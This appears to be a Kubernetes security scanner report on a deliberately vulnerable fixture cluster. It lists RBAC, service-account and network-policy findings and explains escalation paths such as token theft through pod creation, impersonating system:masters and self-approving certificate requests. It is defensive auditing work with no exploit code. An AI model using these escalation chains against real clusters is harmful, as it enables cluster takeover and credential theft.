  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-impersonate can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/vulnerable/privileged-reader can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cloud-eks-test/eks-admin-irsa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-ephemeral can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-pod-exec can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-pod-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-token-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/vulnerable/privileged-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-001 Namespace local-path-storage only pod creation enables token theft and node takeover (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
  • HIGH KUBE-PRIVESC-001 Namespace privesc-fixtures only pod creation enables token theft and node takeover (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/rbac-fixtures/sa-pod-create)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/vulnerable/privileged-reader)
  • HIGH KUBE-PRIVESC-005 Namespace lp-fixtures only list/watch access to Secrets enumerates every Secret on ServiceAccount/lp-fixtures/sa-lp-wildcard
  • HIGH KUBE-PRIVESC-005 Namespace secrets-bundle-target only list/watch access to Secrets enumerates every Secret on ServiceAccount/secrets-bundle/cross-ns-reader
  • HIGH KUBE-PRIVESC-005 Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/vulnerable/privileged-reader
  • HIGH KUBE-PRIVESC-003 Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate
  • HIGH KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach cluster-admin equivalent in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-secret-mint can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-secret-read can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/vulnerable/privileged-reader can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-pod-create-escape can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-pod-create-escape can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/rbac-fixtures/sa-pod-create can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/rbac-fixtures/sa-token-create can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can reach namespace-admin in `rbac-ns-fixtures` in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-ephemeral can read kube-system Secrets in 3 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-pod-exec can read kube-system Secrets in 3 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cm-reader granted to ServiceAccount vulnerable/default but never exercised
61 findings
Authentication

Service account tokens

2 crit 7 high 17 med
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
  • HIGH KUBE-PRIVESC-014 Cluster-wide create serviceaccounts/token enables token minting (ServiceAccount/rbac-fixtures/sa-token-create)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by live workloads and has dangerous permissions: create pods (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)
  • HIGH KUBE-SA-DAEMONSET-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to
  • HIGH KUBE-SECRETS-001 Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)
  • MEDIUM KUBE-SA-DEFAULT-002 Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-image runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-lifecycle runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-limits runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-probes runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/api runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/unmatched runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/ingress-only/ingress-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-allow-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-open-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/psa-suppressed/psa-priv-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/generic-hostpath-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/host-ns-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/risky-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/root-runner runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/socket-mounts-app runs as the namespace default ServiceAccount
26 findings
Network Separation and Hardening

Network policies

17 high 5 med
  • HIGH KUBE-NETPOL-WEAKNESS-002 NetworkPolicy flat-network/allow-broad allows egress to 0.0.0.0/0 (entire internet)
  • HIGH KUBE-NETPOL-WEAKNESS-002 NetworkPolicy netpol-imds/allow-everywhere allows egress to 0.0.0.0/0 (entire internet)
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace containersec-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace csr-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace default has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace local-path-storage has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace lp-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace privesc-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-suppressed has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-unlabeled-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace pv-hostpath-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-ns-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle-target has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace vulnerable has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/netpol-imds/imds-open-app is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace netpol-bridge controls ingress but has no Egress policy (one-way enforcement)
  • MEDIUM KUBE-NETPOL-WEAKNESS-001 NetworkPolicy flat-network/allow-broad accepts ingress from any namespace via empty namespaceSelector
22 findings

Privilege-Escalation Paths

Every RBAC privilege-escalation path the analyzer computed, grouped by the sink it reaches. Each path starts at a subject an attacker might compromise and walks hop by hop to a high-value target: full cluster-admin, the system:masters group, kube-system secrets, minted service-account tokens, or node root via container escape. This is the exhaustive list. The Attack Paths tab draws the same chains as an interactive graph but caps how many it renders, and the hero panel up top highlights only the worst few. Each card links to its full finding (with remediation) in the Findings tab.

77 Escalation paths
7 Distinct sinks
44 Critical paths
→ cluster-admin

11 paths to cluster-admin

10 crit 1 high
CRITICAL ServiceAccount/rbac-fixtures/sa-bind-escalate cluster-admin score 9.8 1 hop View finding →

ServiceAccount `sa-bind-escalate` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via RBAC bind/escalate bypass.

  1. RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin cluster-admin score 9.8 1 hop View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate cluster-admin score 9.8 1 hop View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via RBAC impersonation.

  1. RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate cluster-admin score 9.8 1 hop View finding →

ServiceAccount `sa-rolebinding-mutate` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via RoleBinding write access.

  1. RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-fixtures/sa-rolebinding-mutate
    Permission granted create,update,patch rolebindings|clusterrolebindings
    Gives the attacker can create or mutate role bindings to grant itself any role
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard cluster-admin score 9.8 1 hop View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral cluster-admin score 9.3 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches cluster-admin in 2 hops via Ephemeral container injection → RBAC impersonation.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec cluster-admin score 9.3 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches cluster-admin in 2 hops via Pod exec → container takeover → RBAC impersonation.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create cluster-admin score 9.3 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches cluster-admin in 2 hops via Pod creation → ServiceAccount token theft → RBAC bind/escalate bypass.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-bind-escalate
  2. Step 2 of 2 RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create cluster-admin score 9.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches cluster-admin in 2 hops via TokenRequest minting → RBAC bind/escalate bypass.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-fixtures/sa-bind-escalate
  2. Step 2 of 2 RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
CRITICAL ServiceAccount/vulnerable/privileged-reader cluster-admin score 9.3 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches cluster-admin in 2 hops via Pod creation → ServiceAccount token theft → RBAC bind/escalate bypass.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-bind-escalate
  2. Step 2 of 2 RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape cluster-admin score 8.8 3 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches cluster-admin in 3 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → RBAC impersonation.

  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate
  3. Step 3 of 3 RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
→ the system:masters group

9 paths to the system:masters group

8 crit 1 high
CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint the system:masters group score 9.6 1 hop View finding →

ServiceAccount `sa-csr-mint` in namespace `csr-fixtures` reaches the system:masters group in 1 hop via CSR self-approval to system:masters.

  1. CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate the system:masters group score 9.6 1 hop View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches the system:masters group in 1 hop via Impersonation of system:masters.

  1. Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups: ["*"] (or explicitly on system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
CRITICAL ServiceAccount/cloud-eks-test/eks-admin-irsa the system:masters group score 9.1 2 hops View finding →

ServiceAccount `eks-admin-irsa` in namespace `cloud-eks-test` reaches the system:masters group in 2 hops via Assume AWS IAM Role via IRSA → AWS IAM principal granted cluster-admin via aws-auth.

  1. Step 1 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
  2. Step 2 of 2 AWS IAM principal granted cluster-admin via aws-auth aws_auth_admin

    EKS authenticates AWS IAM principals into Kubernetes via the kube-system/aws-auth ConfigMap. Each entry under mapRoles / mapUsers ties an IAM role or user ARN to a Kubernetes username and a list of groups. If that group list contains system:masters, the IAM principal is hard-coded as cluster-admin by the apiserver. If it contains any group bound to cluster-admin via a ClusterRoleBinding, the effect is the same: the IAM principal can do anything in the cluster.

